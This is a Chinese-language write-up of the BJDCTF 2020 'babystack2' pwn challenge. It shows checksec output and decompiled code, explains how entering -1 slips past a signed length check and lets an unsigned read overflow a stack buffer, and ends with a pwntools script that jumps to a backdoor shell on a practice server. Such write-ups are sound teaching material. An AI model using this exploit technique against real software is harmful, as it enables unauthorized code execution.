分析

  1. checksec分析
1
2
3
➜  pwn checksec --file=bjdctf_2020_babystack2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75) Symbols No 0 1 bjdctf_2020_babystack2

开启了NX保护

  1. ida分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

大概的流程就是输入name长度,然后开始输入name,最后返回。

很明显,对于输入长度是有判断的,不能大于10,但是后面溢出地方,也就是read函数,其中的buf

长度是0x10,所以直接比较是不能溢出的,但是这里有个问题,判断长度是整数类型,但是最后read的时候是无符号,所以可以利用这一点进行溢出。


int类型转unsigned int解析

int型转换为unsigned int型其实就是把int型的31位和表示符号的最高位,一起看作是unsigned int型的32位一并读取。例如:

int 1:0000 0000 0000 0000 0000 0000 0000 0001,按unsigned的32位读法仍然为1

int -1:1111 1111 1111 1111 1111 1111 1111 1111,按unsigned的32位读法为 2^32-1 = 4294967295


  1. 后门函数
1
2
3
4
5
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

地址为0x400726


利用

  1. 首先输入-1,绕过长度判断
  2. 填充缓冲区,照成溢出
  3. 跳转后门函数
1
2
3
4
5
6
7
8
from pwn import *
r = remote('node5.buuoj.cn',27722)
backdoor = 0x0400726
r.recvuntil('[+]Please input the length of your name:')
r.sendline(b'-1')
buf = b'a'*(0x10+0x8) + p64(backdoor)
r.sendline(buf)
r.interactive()